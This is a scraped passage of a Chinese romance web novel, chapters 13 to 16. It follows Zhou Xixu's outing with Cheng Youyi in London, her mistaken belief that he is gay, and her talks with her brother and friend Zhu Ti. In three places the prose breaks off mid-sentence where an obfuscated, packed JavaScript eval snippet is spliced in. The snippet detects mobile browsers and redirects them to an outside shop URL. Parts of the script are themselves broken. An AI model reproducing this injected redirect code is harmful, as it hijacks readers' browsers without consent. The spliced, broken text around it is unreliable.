篓恩气到语塞,舌头抵着腮帮,重重舒了口气,嘴张张合合了好几次。“行,活驴,你好样的,你给我等着,我非得把朱缇迷得神魂颠倒,你等着打脸吧。” “行,我等着你打脸。” 她完全不担心。毕竟篓恩没那个实力,他的硬件条件不算凤毛麟角,人格魅力更是负数,在朱缇眼里,就是一个跳梁小丑,蹦跶不了多久。 最重要的是周悉丞这根刺在朱缇心里扎了太久,也太深,想拔出来,谈何容易。 篓恩把程又一拉到一边,“她不帮忙,你得帮我。” 程又一勾起唇角,笑意不深,似乎是早就预想到事态的发展,带着运筹帷幄的从容,“行啊,帮你把这个电灯泡支走,OK不?” “太OK了。”篓恩拍了拍程又一的肩膀,“就知道你够意思,那你等会儿就支走活驴?” “不然呢?等人谈上男朋友你再发力?” “对对,你说的没错,这事赶早不赶晚,不能等,就今天。”篓恩面露喜色,又伸手揽在程又一肩上。“还得是你,脑子就是灵光,等下你就想方设法把活驴给我弄走,朱缇那边我想办法糊弄过去,兄弟的幸福全靠你了。” 程又一没接话,余光扫了一眼不远处的周悉许。 她正看着他们。准确地说,是在看他。 那眼神带着审视、判断。 至于她到底在想什么,他看不透。 这边,周悉许收回视线。 现场很嘈杂,她只看到两人在窃窃私语,但听不到对话内容,仅看表情,很难推断出什么。唯一能确定的是:这两人看上去心情都不错。 “发什么呆呢?” 有人在周悉许肩上拍了一下。 回头一看,是朱缇。 周悉许回过神,“尿完了?” “昂,那俩人呢?” “在那搞基呢。”周悉许指了下不远处勾肩搭背的两个人。 “不是吧…”朱缇拉长音,不太信,顺着周悉许指的方向看过去。 那俩人靠得倒真挺近,几乎快贴一起了。篓恩是主动的那方,程又一看上去挺被动,虽然偶尔流露嫌弃的表情,但始终没推开靠在自己身边的人。 “可是我咋感觉,那个篓恩想泡我呢?”朱缇不太确定,“这货应该不是男同吧?我没听过哪个母对女的感兴趣。” 周悉许望着两人,琢磨了几秒。 “有没有可能,咱想错了,程又一才是那个0,你刚才不也听到了,这秀是程又一想来的,篓恩只是陪他。” 朱缇的视线在程又一身上反复打量,怎么看都看不出那是个0。 “这样吧,你等会儿支开程又一,我去找篓恩套套话,感觉他那个脑子不太灵活,很容易说漏。” “篓恩那个傻缺头脑确实简单,不像程又一城府那么深。” 周悉许想了想,觉得这招或许有效,但转念一想,又觉得太麻烦。 “算了,别费那个劲了,闲的没事干了吗?管他呢。” “哎呀,本来也闲着没事干啊,八卦八卦呗,我挺好奇的。”朱缇笑道。 “有什么可好奇的。”周悉许不屑。 “要真像你说的,这绝对是爆炸性新闻,你不好奇?” “不好奇。” 朱缇翻了个白眼,“那就当是我闲的没事干了行吗?赶快想个理由支开他,一会儿那俩货该过来了。” “没啥理由,跟他也不熟。” “你想想学校有没有什么事能当个由头。” 学校的行程周悉许一概不知,今天的集体活动又没去,实在想不到这个所谓的“由头”。 “想不出来。” 朱缇又翻了个白眼,“我真服你。”她想了想,“要不这样,你就说在这儿呆着没啥意思,和他一起出去转转。” “可能吗?人就是来看肌肉男的,我觉得没意思,人可是乐在其中,会陪我出去?” 周悉许直接否了这个站不住脚的理由。靠谱的理由还没想出来,程又一和篓恩就过来了。 四个人都揣着谋划,谁都没轻举妄动。 为了不冷场,篓恩硬着头皮找话聊,其他人都没怎么接话,场面更尴尬了。 “帮个忙呗,就当还刚才的人情。”程又一偏头看周悉许。 周悉许懒得和他计较,“什么忙?” “我头有点疼,想出去转转。” 周悉许没反应过来,“那你们先回——” “去”字还没说出口,侧腰被朱缇拧了一下。她疼得龇牙咧嘴,转头看行凶者。 朱缇朝她使了个眼色。 周悉许秒懂。“你是水土不服吧,这水硬,刚来的人都适应不了。” 朱缇在她腰上比了个大拇指,暗示她做的不错。 她继续胡扯,“最开始都是先头疼,后面可能会更严重,还是要去医院看看。” 程又一看了她一眼,眼神带着探究,而后轻笑。“不至于去医院,出去透透气就行。” “哦,行。”周悉许呆呆回应。 虽然事态的发展是按照她和朱缇希望的方向进行,但似乎又和她预想的不太一样。程又一貌似没全身心沉浸于这场秀,更出乎意料的是他散心找的竟然不是篓恩,而是她。 虽然过程莫名其妙,但好在还是到达到了她们的目的。 朱缇显然也有同样的困惑,视线在几人间来回打量了好一会儿,然后陷入思考。 “那你们快去吧,这大晚上的,留朱缇一个人在这也不安全,我就不去了。”篓恩装模作样道。 一切就这么合情合理,且顺理成章。 周悉许看了眼朱缇,问得隐晦,“我出去,你没问题吧?” “没事,你去吧,这不还有篓恩呢嘛,他会把我安全送回去的。” 见周悉许还在犹豫,程又一开口,“放心吧,他不是□□,不会对你姐妹儿乱来,这点我敢给你打包票。” 朱缇和篓恩都在一旁催促,周悉许便没再纠结,跟着程又一出了俱乐部。 门口停着一台黑色兰博基尼,程又一晃了晃手里的车钥匙,“你开?” 周悉许摆摆手,“算了,还是你开吧。”她不习惯开别人的车,更何况和这人还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586026|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算熟。 程又一没多话,替她拉开副驾车门,自己绕到主驾坐下。一脚油门,引擎的轰鸣声响起,车身迅速窜了出去。 “我们才刚到,你就弄了台车?”周悉许问。 程又一答得敷衍,“之前弄的。” “你经常来英国?” 程又一“嗯”了一声,没再说话。 周悉许也没硬聊,转头看向窗外。 比起白天,她更喜欢伦敦的夜晚。光线交错,像虚幻和现实重叠。正值夏令时,夜幕还没完全落下,天边挂着微红的晚霞,窗外的风很温和,吹得人犯懒。 市区车多,程又一开得中规中矩,车速不快,甚至有点慢。周悉许靠着车窗,眼皮开始往下沉。 “我之前在这儿生活过一阵子。”程又一突然开口。 周悉许没听说过他还有这段经历,迷迷糊糊回了个“哦”,没再问后续。 车内再次安静。 程又一单手扶着方向盘,另一只手有节奏地在车沿上敲着,貌似是在想事。 车速更慢了,夸张点说,慢得快赶上自行车了。 看着窗外一辆辆车超过去,周悉许忍不住开口,“你走后门拿的奖吧?” 程又一抬眼看她。 “大牛被你开成牛车,也是被侮辱到了,能快点吗?我都快睡着了。” “哦?要快?”程又一拖长了尾音,语调暧昧,“你想要多快?”他口中的“快”和周悉许说的完全是两码事。 很明显,是赤裸裸的调侃。 周悉许瞪他一眼,“能好好开车吗?” “我是在好好开车。”程又一一本正经。 这货的确是在好好开车…… 只不过此车非彼车。 “你正经点行吗?我说的是用手,不是用嘴。”周悉许不爽道。 话说出口,她又觉得不妥,这话比刚才更容易让人抓着把柄,她补充道,“我指的是开车,不是别的。” 程又一“嗤”地笑出声,“谁也没想别的啊,周悉许,你思想挺不纯洁。” “我哪儿不纯洁了?我是为了避免引起歧义,说全了省得你误解。”周悉许反驳,又更正了下,“不对,误解不太恰当,是曲解!” “哦,那你考虑的还挺全面,不过,我怎么感觉有点——”程又一偏过头,眼神玩味,一字一顿道,“欲、盖、弥、彰。” “……” 这人是懂贼喊捉贼的。明明是他思想龌龊,还反过来倒打一耙。 “你头又不疼了?没啥事就赶紧回去。” 周悉许不想和他扯皮,反正把人支出来就算完成任务了,既然目的达到了,就没必要在这废话。 “还有点疼,一阵一阵的。”程又一扶额,演得和真的似的。 “我看着不像。”周悉许冷笑,“谁家脑袋疼还能有心思开玩笑?” 程又一敛了敛唇角,“不逗你了,真头疼。” “头疼你不回去躺着,在外面瞎转悠什么。” “透气啊。” “你想透多久?我等会回去还有事。”周悉许没直说,但意思够明显了。 程又一看出了她的小心思,直接转移话题,“你有想去的地方吗?” 周悉许被问得一顿,这才意识到两人一直在附近转悠,车开了有一会儿了,但实际上没走多远,完全是漫无目的地闲逛。 “没什么想去的地方,能去的几乎都去过了。” 她在伦敦生活过很多年,这里算是她第二个故乡。太熟了,没什么新鲜感,离开的时间不长,犯不着故地重游。但对程又一来说,或许不一样。 “你有想去的地方吗?”她问。 程又一笑笑,“倒真有一个。” “哪儿?” 他没直接回答,嘴角的弧度大了些。 “等会儿你就知道了。” “……” 14. 攻气 很快,车在摄政街附近停下来。 “搞了半天就来这?”周悉许略显失望。 摄政街是伦敦西区一条很有名的商业街。希腊复兴式建筑排成一溜,算得上历史悠久。进了十一月有点灯仪式,很有节日氛围。但说到底也就只是一条商业街,没什么好逛的。 “你来这是想购物?” “就随便走走。” 程又一扫了一眼她身上那套穿了跟没穿差别不大的衣服,转身从后座拿了个手提袋,掏出一件衬衫外套递过去,“穿上。” 衣服是新的,领口处挂着的吊牌晃了两下。 周悉许没接,“不用,我不冷。” 其实她是在嘴硬。 伦敦气温不高,她只穿了件吊带裙,料子还比较轻薄,从俱乐部出来时就感觉到丝丝凉意了。 程又一没收手,“不是怕你冷,布料有点少,别到时候我一个不小心,你又怪我偷看。” 原来是在担心这个…… 她穿的其实不算暴漏,该遮的部位遮得严严实实,能露的也没露,就是一条中规中矩的普通吊带裙,虽然布料薄,但不透。可人家都这么说了,再拒绝,难免会被认为是居心不良。 这人这么自负,万一被误会就麻烦了。秉着多一事不如少一事的原则,周悉许没再坚持,她接过衣服披在身上。 “看样子今天没啥活动,不买衣服光压马路,还不如去伦敦眼,顺便吹吹泰晤士河的晚风。” “你还挺懂浪漫。”程又一打趣道,“不过抱歉,我不打算和你坐。” 他下车绕到副驾驶,帮周悉许开了车门,动作算得上绅士,和刚才拒绝她的判若两人。 “搞笑,你以为我想和你坐。”周悉许冷哼。 她提议去伦敦眼,纯粹是觉得那边更适合散步。程又一不购物也不凑热闹,在这闲逛有什么意思。 两人并肩走了一会儿,天色才逐渐暗下来。 晚霞褪去了耀眼的红,比刚才暗淡许多,整个城市的节奏慢下来,只有街道上穿梭的红色巴士依旧繁忙。 在伦敦这么多年,周悉许还是第一次感受这个时间段的摄政街。微风和余晖都刚刚好,让人惬意。 又或许,是她心情还不错。 “你还打算这么走多久?”周悉许问。 “累了?”程又一停下脚步。 “累倒不至于,就觉得这么压马路挺没劲的,从俱乐部出来也好一会儿了,你头怎么样?”周悉许试探着问。 她不确定程又一究竟是真的还是装的,总觉得他挺奇怪的。莫名其妙让她陪着出来透气,又莫名其妙来摄政街当街溜子。当街溜子也就算了,还一言不发,气压低得让人有点不知所措。 程又一没回答,突然转移话题,“这儿圣诞节气氛还不错,可惜来的不是时候。” “是还不错。”周悉许心不在焉地应着,脑子里涌现一段记忆。 也是一个圣诞节。 在天使灯下,陆竞和她表白了。 那是他第一次正式告白,和以往不一样,不再兜兜转转,说得很直白,只不过听到的仍然是拒绝。讽刺的是,当天两人的着装极为相似,可结果却背道而驰。 现在回想起来,陆竞当时的心情应该挺复杂的。明明很失落,却怕她内疚,整晚都在强颜欢笑。 毫无疑问,这是段不愉快的记忆。 周悉许改口,“其实也就一般,比现在多那么点灯,没什么特别的。” “还挺特别的。” 程又一苦笑,看着三三两两的行人,眼底的情绪落寞了几分。 周悉许从没见过他这样。 “看你这表情,像是在这儿受过挫。” “差不多吧。”程又一大大方方承认。 “那你还来,是找虐吗?” “不是。” 周悉许不是不识相的人,人家怎么说她就怎么听,原本就是随口一问,没打算深聊。 程又一却没放过这个话题,“算是给当时的乌龙画上一个完美的省略号。” “……你确定不是问号?要么句号,省略号是个什么鬼?” 程又一勾起唇角,“未完待续。” 他轻描淡写,只说是“乌龙”,没透露是关于什么的。但周悉许有种直觉,他这段过往逃不出一个“情”字。 几声震动打断两人的对话,手机屏幕上跳出“陆竞”两个字。 程又一也看到了。他视线飘向两边的街道,有意回避。 周悉许接通电话,“喂,怎么了?” “在哪呢?今晚回来吗?” 陆竞的声音不大。周悉许习惯性把手机换到另一只手上,和程又一拉开些距离,另一只手在包包的链条上摩挲。 “在外面呢,等会儿回去。” “好,我去接你。” “不用了,你早点休息吧,别折腾了,我自己回去就行。” 周悉许不想麻烦陆竞,又不是不认识路,没必要多此一举。 话音刚落,旁边的人咳了两声。 不知道是有意还是无意,反正声音不小,陆竞肯定听得到。 电话那头安静了一秒。 “那你玩吧,注意安全。”陆竞没再多话,嘱咐完就挂了电话。 “你咳得挺是时候的。”周悉许说。 “怎么?怕人家知道你身边有异性?”程又一笑得没正行。 这点周悉许倒不担心,她巴不得陆竞早点死心,但这些没必要和程又一说。 “其实我一直挺好奇的,你对陆竞究竟是怎么想的?听说他追了你挺久。”程又一观察着她的表情,见她没否定,又继续问,“所以,你只是把他当朋友?还是说……暂时当朋友?” “这和你有什么关系?” “好奇而已。” 周悉许和陆竞的关系,身边的人多多少少都知道些,但从来没人问过,哪怕是朱缇。 或许他们都默认了周悉许和陆竞早晚会在一起,只是时间的问题。 周悉许本来不想正面回答,毕竟和程又一没什么交情。但想了想,又觉得不该让更多人误会。既然有人问,她就该说清楚。模棱两可的回答,对她和陆竞都不好。 “是朋友,和亲人差不多的朋友,以后也一直是这样。” 程又一点点头,“挺好。” “好什么?” “没什么。”他笑了笑,“陆竞也算挺幸运,正大光明在你身边晃了这么久,可惜他不争气。” “和他没关系,他很好,是我的问题。” “机会都给他了,还没让你喜欢上,是他该反思。”程又一还是那副散漫样,只是神色比平时温和了些,“换成是我,无论如何,也会让你爱上我。” 他说的只是假设,没别的意思,话赶话而已。 周悉许没在意,顺着他的话接,“少在这说风凉话,你以为让一个对自己没感觉得人上头多容易?” 程又一撇撇嘴,“确实挺难,慢慢来吧。” 之后的气氛还算轻松,程又一没再板着脸,话比平时多了。 周悉许主动找了些话题,基本都是围绕他和篓恩的,主要是为了打探情况。 她问了不少,程又一也有问必答,没察觉出异常。 两人逛了好一会儿才离开。 回去时,程又一说顺路捎她一程,周悉许没拒绝。 刚上车,朱缇的电话就打过来了。 一如既往的大嗓门,在安静的车里格外突兀,效果等同于扩音。“我到家了,你回去没?” 周悉许把手机挪远了些,“嗯——” “在路上”三个字还没说出口,就被朱缇打断了。 “先说结论,我觉得程又一不是个gay,你应该想偏了。” 周悉许心中警铃大作,僵硬地转过头。 旁边的人已经在看她了。 短短几秒钟,程又一的表情复杂到能演一出大戏。周悉许第一次发现,这人竟然能做这么多表情。 电话里朱缇还在絮絮叨叨说着她的分析,但周悉许已经听不进去了。结论人家听得一清二楚,后面的话还重要吗?就好比在背后骂人傻逼,人家听到前半句就足够了。 至于后面的展开和形容,听不听都左右不了人家对事件的判断,也平息不了怒火,只会让人气上加气。 看着程又一愈发阴沉的脸,周悉许欲哭无泪。 “先挂了,回去再和你算账。”她挂断电话,琢磨着该怎么和程又一解释。想了想,又觉得没法解释,毕竟这话确实是她说的,无从狡辩。眼下能做的就只有装傻:只要程又一不开口,她就当人家没听到。 除此之外,没别的办法。 程又一率先打破沉默,“你不打算说点什么?” 周悉许沉默。 “你和她说我是gay?” 周悉许老老实实点头,自知理亏,态度很端正,“抱歉,我不该背后嚼舌根,但你可以放心,我不会再和第三个人说了,朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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篓恩尽量憋着笑,但显然很艰难,“这也太搞笑了,谁啊?还真特么是个人才!” 程又一把手机朝副驾驶移了移,“人才,想问什么直接问。” 周悉许抿了抿唇,凑近电话,“是你要去看的?” 听到她的声音,篓恩更来劲了。 “原来是你这个人才啊!周悉许你要逗死我嘛?你什么脑回路啊?我俩是奔着拯救失足少女去的,思想还挺开放的,不愧是你啊。” “要不是你得得嗖嗖去看猛男,我能误会?” 篓恩没善罢甘休,“你这个思想真没谁了,就算我俩是去看猛男的,怎么就和gay沾上边了?就准你们女的去看维密秀,不准我们男的欣赏雄性艺术表演?” 这人绝对是在诡辩。 维密秀和猛男秀完全不是一回事。前者是纯粹的时装表演,主体是服装,后者带着色情暗示,主体是人的肢体语言。但篓恩的结论说的没错,她确实想得太牵强了。 见解释得差不多了,程又一懒得再听篓恩废话,对着电话说了句“滚吧”,便挂了。而后转头看旁边默不作声的人,“现在知道了?” 周悉许点头,浑身僵硬,眼睛盯着自己的膝盖,“是我误会了。” 程又一又问,“在你眼里,我不像个男的?”他语气很平淡,不带任何情绪,看得出心情平复了不少。 “没有。”周悉许否认,说了句违心话,“你挺像个男的,攻气十足,所以我才想偏了。” 程又一无奈。 这话听着不太像夸人。 他不想和“攻气”扯上关系,更不想继续被人猜疑,“还有别的误会没?今天全说清楚,别没过几天又造谣。” 周悉许犹豫几秒,开口问,“你针对我,不是因为我刚去南洋那天,篓恩要撩我?” “我什么时候针对你了?” “行,就算是我想多了。”她认栽似的点点头。 “那你让我坐你旁边,难道不是怕我坐篓恩旁边?别跟我说你不知道班里就剩那俩位置。” 程又一定定看着她,眼里带着层若有似无的笑,“你有没有想过?” “想什么?” 他没说话,凝视了她好一会儿。 车内陷入短暂的静默。 周悉许被看得浑身不自在,“说啊。” “我只是单纯想让你坐旁边。” “嗯?”她以为自己听错了。 程又一停顿了一下,“还是说……你不敢想?” 周悉许:“?” 他这话是什么意思? 15. 对直男过敏 周悉许一脸防备。 “你确定你不喜欢男的了是吧?” “怎么?我喜欢女的就给你吓成这样?”程又一恢复了吊儿郎当的纨绔相,“又没说喜欢你,紧张什么?” 周悉许没说话,打量着他,琢磨他这话的真实性,脸上的凝重肉眼可见。 程又一看了她几秒,忽然轻笑,“你也知道我异性缘还不错,不至于。” 话没说全,“不至于”后面的内容,看表情也大概猜得到。无非是在说,你别给自己脸上贴金。 周悉许神色缓和了些,也觉得是她多虑了。毕竟人家招摇得很,就算她费尽心思去追,都不知道猴年马月才能得手,更别说是这种情况。 “我之前还想不明白,你态度怎么就突然转变了,还动不动问一堆奇怪的问题,弄半天以为我是个gay?” 周悉许没吭声。 程又一又说,“你也挺逗,对gay和直男的态度差这么大,对gay能好好说话,是对直男过敏?” “那倒不至于,只不过之前有点同情你而已。” “同情我喜欢男的?现在喜欢女的了就不同情了?”程又一被气乐。 见周悉许前后态度转变这么明显,程又一突然觉得还不如让她继续误会,至少能博取点同情心,套套近乎。 “总之这事是我想歪了,我会和身边人说清楚,不会影响你名声。”周悉许一板一眼地说。 程又一默了几秒,转移话题,“明天来吗?” 他指的是学校的集体活动。 周悉许已经逃了一天,行程单之前没仔细看,之后的活动她不清楚,但估摸着就是去名校听听课,没什么新奇的。 “不确定,反正也没什么意思,看心情吧。” “来吧。”程又一劝道,“明天有户外活动,还挺有意思。” 这话他自己都不信,其实户外活动也挺无聊的,但他得想办法让她来。 “什么活动?” 他答非所问,“之前的都挺有意思的。” 周悉许没察觉出他的不自然,满脸好奇,“都玩什么?” 见她提起些兴趣,程又一含糊其辞道,“说不明白,你自己来看看吧。” 其实不是说不明白。他最近在看心理学方面的书,研究怎么勾起一个人的好奇心。 程又一的手机响了两声,是新消息提示音。 他单手握着方向盘,拿起电话看了一眼,又随手扔到中央扶箱上。 过了几秒,又响了两声,他没理会。 紧接着是“嗡嗡”的震动,屏幕上显示的是“烦人精”。 程又一直接按了外放,“有事说,没事挂了。”他言简意赅,语气里带着不耐烦。 电话里传来一个女声,带着点刻意的甜腻。很熟悉,但周悉许一时没想起来是谁。 “我到伦敦了,我哥也和我一起来了。” 程又一没说话。 “我们现在和篓恩一起,你什么时候回来?“似乎是怕他不信自己的话,对面的人又喊了一声,“哥,你说句话。” 电话那头传来个男声,听着有点远,语气不算好,“说什么?等下他就回来了,别磨他了,人都快烦死你了。” 周悉许心下了然。 又是那个俗套的设定:好朋友的妹妹喜欢上自己,和陆浅的情况大差不差。虽然挺老套的,但也合情合理。 女生轻咳一声,掩饰尴尬,“那你快点回来,我在家里等你。” 程又一始终没说话,直接挂了电话。 ”你放我到路边吧,我打车回去。”周悉许说。 “先送你。”程又一不紧不慢道,看上去也不着急,还是和刚才一样的车速。 “不用,这离我家也不远,你找个地方给我停一下就行。” “顺路。”程又一打断她,没有要停的意思。 她没再推辞。 二十分钟后,车停到周悉许家门前。 她客气地道谢下车。 程又一坐在车里看着她的背影若有所思。正打算驱车离开,一抬头,看见站在隔壁阳台的陆竞。 他躬着身,手扶栏杆,望着楼下。脸上不再是平时那副温和模样,眼底透着满满的敌意。 程又一朝他戏谑一笑,一脚油门,车消失在夜色中。 陆竞站在阳台上,看着车尾灯远去,很久没动。风灌进他的衬衫,撑得满满的,他抬手拂了一下,衬衫又恢复原样。他神色自然,转身回了房间。 —— 周悉许进了门没见周悉丞的身影,只看到迎上来的张姨。 张姨是西岛的保姆,周悉许记事起她就在了。她早年离异,独自拉扯儿子。周悉许被送去英国那年,张姨也跟了去。第二年,她儿子考上利物浦大学博士。后来周悉许回了申泸,张姨留在英国,沈意皖让她偶尔来打扫,算是给她养老了。 “悉许回来了。”张姨脸上堆满了笑。 “嗯,好久不见,张姨,周悉丞没回来?” “悉丞下午回来过,又去隔壁了,他让我把房间收拾出来了,说是回来睡。”张姨接过周悉许手里的挎包,“你先休息会儿,我去放洗澡水。” 周悉许走到沙发旁,整个人瘫在上面,端起桌上的果汁喝了两口。 正巧周悉丞回来了。 “怎么舍得回来了?不在你基友那住?”周悉许打趣道。 “明天去看看脑子。”周悉丞朝沙发走来,在周悉许右侧那个单独的沙发前坐下,“你又和程又一扯一块去了?” “什么叫又?” 这话让周悉许不爽。 “离他远点,他身边的人关系挺复杂的。” “那和我也没关系,再说,我和他就普通同学,没什么交情。” “你是这么认为的,别人不这么想。” 周悉丞一针见血。 周悉许很了解他。轻易不会开口,也几乎不约束她,今天提这茬,绝对是有所察觉。 “你也觉得我和他走得近?” 周悉丞有意回避她的问题,“我怎么想不重要,重要的是你该离他远点,省得惹一身麻烦。” 周悉许“嗤”了一声。 “抛开这个不说,你和阿竞的事差不多板上钉钉了,也该和程又一保持距离。” “说来说去还是为了你基友。”周悉许半开玩笑,“和陆竞的事我会和周征说清楚,这么多年你应该也看得出,我不喜欢他,答应了才是害他。” “没人会像阿竞那样对你了。”周悉丞的声音里多了些不易察觉的关心,“和他在一起,你起码会生活得很安心。” “可能吧。” 周悉许不否认。陆竞的确能给她一个安稳的家,但她还是说服不了自己。 “我接受不了没感情的婚姻。”她说。 如果是以前,或许还有可能,但现在,她真的没办法接受。 周悉丞没接话,还是平时那模样,平静得没任何情绪变化,和机器人没差别。 周悉许放下手里的空杯,起身准备回房间,走了没两步又停下,回头道,“周悉丞,等你动心那天再说吧,说不定,你更接受不了。” 她只是随口说的一句话,没想到后来一语成谶了。只是,此时的周悉丞还不知道。周悉许也没想到,竟然会是同一个人。 回到房间,张姨已经放好了洗澡水。淡粉色的水里飘着零星的玫瑰花瓣,点的是周悉许喜欢的英国梨香薰,整个浴室里散发着清甜。 她躺在浴缸里,细想着周悉丞的话。 来南洋的这段时间,从她的视角来看,和程又一只是普通同学,但其他人并不这么看。尤其是顾畔和她公开宣战后,似乎彻底做实了谣言。 看来和程又一划清界限是有必要的。 这些无端生出的误会让人挺烦的,她不想被影响,也不想继续扩大这误会。 周悉许泡在水里迷迷糊糊地打着盹,忽然想到刚才情急挂了朱缇的电话,于是拿起手机,给朱缇打了个语音。 刚拨过去没响两声就接通了。 电话里传来朱缇兴奋的声音,“我刚才跟你说的你听到没?咋还突然把电话挂了,打过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586028|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又不接,憋死我了。” 周悉许翻了个白眼,“你猜猜我咋突然就把电话挂了?” “我上哪猜去?你那个脑回路我能猜出来才奇怪吧。” 周悉许深深呼出口气,“托你这个大嗓门的福,我今晚差点没死过去。” 朱缇敏锐地嗅到了八卦的气息,只不过关注重心在后半句,“今晚咋了,今晚你把自己交付出去了?” “滚,你能不能正经点。” 周悉许声音里带着怒气,下一秒直接爆发。 “你给我打电话时候,那个嗓门大得和喇叭一样,我是聋了还是怎么的,非要那么大声?” “啊?——” “和你说了一万遍了小点声小点声,永远记不住,记不住就算了,还抢话,能不能听人把话说完再说,受不了你了。” “你吃枪药了?火气那么大。”朱缇不满道。 “换成你,你得杀人。”周悉许气呼呼地说。 “到底是什么事,给你弄成这样。” “你给我打电话那会儿,我正好在程又一车上,你那一个电话,能听的不能听的,全让人听到了。” “什么意思?我们背后蛐蛐他让他听到了?”朱缇问。 “是的!没错!说人坏话让人抓了个现形,刺激吗?” “这么抓马吗?”朱缇不可置信道,“那……他是什么反应?” “还能是什么反应?除了不爽还不是不爽呗。” 电话里传来一阵爆笑声。 周悉许放任朱缇笑了几秒钟。 “行了,差不多就行了,别笑了,考虑下我感受。” 朱缇收敛了下,“说真的,我想到那个画面都觉得尴尬到脚趾想抠地,你是怎么挺过来的?” “我还能怎么挺,硬挺呗。程又一像看傻子一样看我,我但凡是个男的,估计他都能给我一脚踹下去。”周悉许发着牢骚。 朱缇强忍着笑,出了个损招,“你这样,下次再遇到这种情况,别看人家,直接装晕,这种时候清醒谁都尴尬。” “我谢谢你,你还真是绝顶聪明。” “那他和你解释了没?”朱缇言归正题。 周悉许捞起一片花瓣兜在手里轻轻晃了晃,“嗯,解释了半天,七七八八说了挺多,可能是我想偏了,他应该不喜欢男的。” “还可能呢?就是你想偏了,我早就说他不是,你非要犟,人家直的不能再直了,你非给人说成是弯的。” “少马后炮,现在搁这事后诸葛亮了。” “那还不是被你忽悠的,我才认识他几分钟啊。” 周悉许被怼住了。 朱缇的确有反驳过,也的确是被她误导了。 此时,唱片机里正播着《玫瑰少年》,Jolin的声音温柔又有力。 周悉许想了想,还是觉得说不通,“我怎么想都觉得不是那么回事。” “什么不是那回事啊?” “你说,有没有可能,他还是不敢做自己?可能没那么大勇气?” “哎呦,你到底能不能行了?非要给人家掰弯是吧?人还得怎么解释啊?说了不是你还在这编故事,实在不行,明天我带你去看看脑子吧。”朱缇无奈地说。 “别想些没用的了,人就是直的,我敢打包票,而且——”她犹豫了下,“算了,这事等我去南洋观察观察再说吧,我可和某人不一样,没证据不会乱说话。” 某人指的是她,周悉许心里清楚。 和朱缇通完电话,她静静地躺在浴缸里,听着刚刚那首歌。 朱缇的话和最近发生的事在脑子里过了一遍。 她终于肯承认对于程又一性取向的问题,是她过于偏执了。 她固执地认为程又一是gay,其实不全是因为那些所谓的“证据”。还有很大一部分,是源于她的私心。因为,那是她内心所希望的。这样,她就能面对那个她不敢想的问题了。 真正怯懦的不是程又一,是她自己。 不敢坦然面对的,也从来都不是别人。 也是她自己。 16. 顾屹,故意? 隔天,阳光明媚,是难得的好天气。阳光透过窗子洒进卧室,笼罩着蓬松的被子。窗外有鸟叫,没完没了的,比闹钟还管用。 周悉许还没倒过来时差,早早就醒了。 她原本没打算去参加学校的活动,但醒得这么早,又没什么可做的,挺无聊的。想到昨天程又一说的“有意思的活动”,突然来了兴致。 她打开和朱缇的聊天界面,快速发了条消息: 「我醒早了,睡不着,去参加南洋活动了。」 等了好半天,电话都没动静。 周悉许起身下楼,打算喝杯咖啡。 刚进餐厅就看到周悉丞,他正在吃三明治,面前放着一小块煎三文鱼和几片培根,还有一些豌豆。 周悉丞这人有个毛病:不吃荤。但吃牛肉、鸡肉、鱼肉。法式香煎小羊排他吃得比谁都多。所以结论就是这人挑食。但他自己坚决不承认,小时候还到处宣扬自己是素食主义者。 这算哪门子素食…… “你也起这么早。”周悉许象征性打了个招呼。 周悉丞“嗯”了声,惜字如金地吐出俩字,“时差。” 周悉许别过身,无声地翻了个白眼,调整好表情后转回来,在周悉丞对面坐下。 “听说今天的活动挺有意思的,是啥啊?” 周悉丞拿着叉子叉着青豆,不疾不徐地送到嘴里,明显没有想接话的意思。 这人是绝对的逼王,对于不感兴趣的话题,一般人很难撬开他的嘴。 周悉许看着他面前的青豆,嘴角弯了弯,“你这么吃屁(Pea)不累吗?用勺子吃多过瘾啊。” 周悉丞抬眼,面色不悦,但没和她一般见识。“昨晚和你说的注意下,那个顾畔,你小心点。” “哦,你说那个幼稚鬼啊,她确实来找过我麻烦,不过没什么可怕的。”周悉许不在意地说,“我以为是多厉害的人物呢,还至于你开个金口。” “他们家背景挺复杂的,你最好离程又一远点,小女生嫉妒起来容易失去理智。” “再怎么样也就是一小屁孩,没什么吓人的。”周悉许端起咖啡杯,浅浅喝了一口,“我还能被她吓唬住?你又不是不知道,我还是会点防身术的。” 周悉丞冷哼一声,“就你那三脚猫功夫,快歇歇吧。” “瞧不起谁啊你?——” 周悉许正准备反驳,被周悉丞打断。 “她哥是个狠角色,家里还涉黑。” “涉黑?”周悉许惊讶道。 顾畔虽然是校园大姐大的做派,但接触这几回,并没觉得她会是那种背景下成长起来的。人是骄纵了些,但身上没那股子狠劲。 周悉丞点了下头,“所以,离他们远点。” 小混混周悉许见多了,但大混子她还没交过手,不过,身边倒是有这种背景的人。比如她的猪队友:朱缇和鲁卡卡。 “很夸张吗?比朱缇和卡卡家还复杂?” 周悉丞喝了口咖啡,淡淡吐出三个字,“差不多。” “知道了。” 